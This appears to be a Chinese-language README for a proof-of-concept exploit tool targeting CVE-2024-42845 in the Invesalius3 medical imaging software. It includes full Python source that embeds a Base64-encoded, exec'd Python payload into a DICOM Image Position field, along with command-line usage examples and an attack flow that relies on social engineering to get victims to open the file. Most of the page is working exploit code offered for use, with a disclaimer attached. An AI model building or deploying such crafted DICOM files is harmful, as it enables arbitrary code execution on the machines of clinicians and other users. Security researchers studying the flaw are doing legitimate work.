Invesalius3 DICOM RCE 漏洞利用工具

0 阅读5分钟

Invesalius3 DICOM RCE 漏洞利用工具 (CVE-2024-42845)

项目描述

本项目是针对 CVE-2024-42845 漏洞的概念验证(PoC)利用工具。该漏洞存在于 Invesalius3 软件的 DICOM 文件导入流程中,影响版本为 3.1.99991 至 3.1.99998。攻击者可以制作一个恶意的 DICOM 文件,当受害者使用受影响版本的 Invesalius3 导入该文件时,将在其系统上执行攻击者预置的任意代码。

此工具专为安全研究人员、渗透测试人员以及系统管理员设计,用于验证漏洞存在性、评估风险并执行授权的安全测试。

项目信息详情
漏洞编号CVE-2024-42845
影响软件Invesalius3
影响版本3.1.99991 至 3.1.99998
利用结果远程代码执行 (RCE)
测试平台Windows

功能特性

  • 恶意 DICOM 文件生成:读取一个正常的 DICOM 文件,并向其特定数据元((0020, 0032) Image Position (Patient))注入恶意 Python 负载。
  • 自定义 Payload 注入:支持从外部文件读取任意 Python 3 代码作为攻击负载。
  • 文件标记篡改:可选择性地修改 DICOM 文件中的制造者和机构名称字段,以标识为恶意测试文件。
  • 自动化处理:将恶意负载进行 Base64 编码并嵌入,全程自动化完成文件修改。
  • 安全测试专用:为授权安全评估和漏洞验证提供清晰的工具支持。

安装指南

环境要求

  • Python 版本:3.6 或更高版本
  • 操作系统:Windows(漏洞已验证平台),理论上支持 Linux / macOS 作为生成工具的运行环境。

依赖安装

本项目依赖 pydicom 库来处理 DICOM 文件。使用 pip 安装:

pip install pydicom

获取工具

将项目中的 Python 脚本(例如 exploit.py)保存到本地目录。

使用说明

基本用法

脚本通过命令行参数运行,必须提供一个合法的 DICOM 文件和一个输出路径。

python exploit.py --dicom <原始DICOM文件路径> --outfile <输出恶意DICOM文件路径>

完整参数说明

参数是否必需默认值描述
--dicom输入的合法 DICOM 文件路径。
--outfile生成的恶意 DICOM 文件保存路径。
--payloadprint('Test')包含恶意 Python 3 代码的文件路径。
--signatureTrue是否修改文件中的制造者(Manufacturer)和机构名(InstitutionName)作为标记。

使用示例

示例 1:使用默认 Payload

默认负载仅在目标系统上打印 'Test'

python exploit.py --dicom sample.dcm --outfile malicious.dcm
示例 2:使用自定义 Payload 文件

创建一个名为 payload.py 的文件,内容例如:

import os
os.system('calc.exe')

然后运行:

python exploit.py --dicom sample.dcm --outfile malicious.dcm --payload payload.py
示例 3:关闭文件标记

生成的恶意文件将不会修改制造者和机构名称字段。

python exploit.py --dicom sample.dcm --outfile malicious.dcm --signature False

攻击流程简述

  1. 攻击者使用本工具,将一个合法的 DICOM 文件与恶意负载结合,生成一个特制的 DICOM 文件。
  2. 攻击者通过社会工程学或其他方式,诱使受害者使用 Invesalius3(受影响版本)打开该文件。
  3. 当软件解析该恶意 DICOM 文件时,嵌入的 Python 代码将在受害者系统上执行。

核心代码

1. Payload 编码与注入准备 (encode_payload, prepare_dicom_payload)

此部分负责读取恶意 Python 代码文件,将其编码为 Base64 字符串,并准备注入到 DICOM 文件的目标数据元中。

import base64
import pydicom

def encode_payload(plain_payload):
    """读取payload文件并返回一个Base64编码的exec执行字符串。"""
    data = open(plain_payload, 'rb').read()
    # 构造一个动态执行的字符串
    return f"exec(__import__('base64').b64decode({base64.b64encode(data)}))"

def prepare_dicom_payload(dicom_file_path, payload):
    """
    从原始DICOM文件中读取Image Position (Patient)标签的值,
    并将编码后的payload附加到其值列表中。
    """
    try:
        dicom_data = pydicom.dcmread(dicom_file_path)
        # 获取 (0020, 0032) Image Position (Patient) 的原始值
        values = dicom_data[0x0020, 0x0032].value
        # 将原始值全部转为字符串
        mal = [str(i) for i in values]
        # 追加编码后的恶意payload
        mal.append(encode_payload(payload))
    except pydicom.errors.InvalidDicomError:
        print("The file is not a valid DICOM file.")
    except Exception as e:
        print(f"An error occurred: {e}")
    
    return mal

2. DICOM 字段修改与文件生成 (modify_dicom_field)

此部分负责将构造好的恶意数据元写回 DICOM 文件,并可选地修改文件元信息作为标识。

def modify_dicom_field(dicom_file_path, malicious_tag, outfile, sign):
    """
    将构造好的恶意标签值写入DICOM文件的(0020,0032)数据元,
    并根据sign标志决定是否修改制造者和机构名称。
    """
    try:
        dicom_dataset = pydicom.dcmread(dicom_file_path)
        # 如果需要,添加标识性信息
        if sign:
            dicom_dataset.Manufacturer = "Malicious DICOM file creator"
            dicom_dataset.InstitutionName = "Malicious DICOM file institution"
        
        # 创建新的数据元,其值为精心构造的恶意字符串
        elem = pydicom.dataelem.DataElement(0x00200032, 'CS', malicious_tag)
        dicom_dataset[0x00200032] = elem
        
        # 保存修改后的DICOM文件
        dicom_dataset.save_as(outfile)
        print(f"[+] Malicious DICOM file saved to: {outfile}")
    except Exception as e:
        print(f"An error occurred: {e}")

3. 主程序流程与控制

主程序整合所有模块,解析命令行参数,驱动漏洞利用流程。

import argparse

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='CVE-2024-42845: Invesalius3 DICOM RCE Exploit Tool')
    parser.add_argument('--dicom', required=True, help='Path to the input DICOM file')
    parser.add_argument('--outfile', required=True, help='Path to the output malicious DICOM file')
    parser.add_argument('--payload', required=False, default=b"print('Test')", 
                        help='File that contains the malicious plain python3 code')
    parser.add_argument('--signature', required=False, default=True, type=bool,
                        help='Add signature to the file (modify Manufacturer/Institution)')
    
    args = parser.parse_args()
    
    # 步骤1: 准备恶意payload,嵌入到Image Position值中
    tmp_tag = prepare_dicom_payload(args.dicom, payload=args.payload)
    
    if tmp_tag:
        # 步骤2: 将恶意值列表拼接成字符串格式:'value1\value2\...\payload'
        malicious_tag = '\\'.join(tmp_tag)
        # 步骤3: 修改DICOM字段并生成最终文件
        modify_dicom_field(args.dicom, malicious_tag, args.outfile, sign=args.signature)
        exit(0)
    else:
        print("[-] Failed to prepare malicious payload.")
        exit(1)

免责声明:本工具及文档仅用于教育和授权的安全测试目的。未经目标系统所有者明确许可,利用此漏洞进行攻击是非法且不道德的行为。使用者须自行承担所有相关法律责任。 6HFtX5dABrKlqXeO5PUv/6BkYHyTHrif+ENS9Vb26IfFMIg0ZePJMsBrhi0LCbY1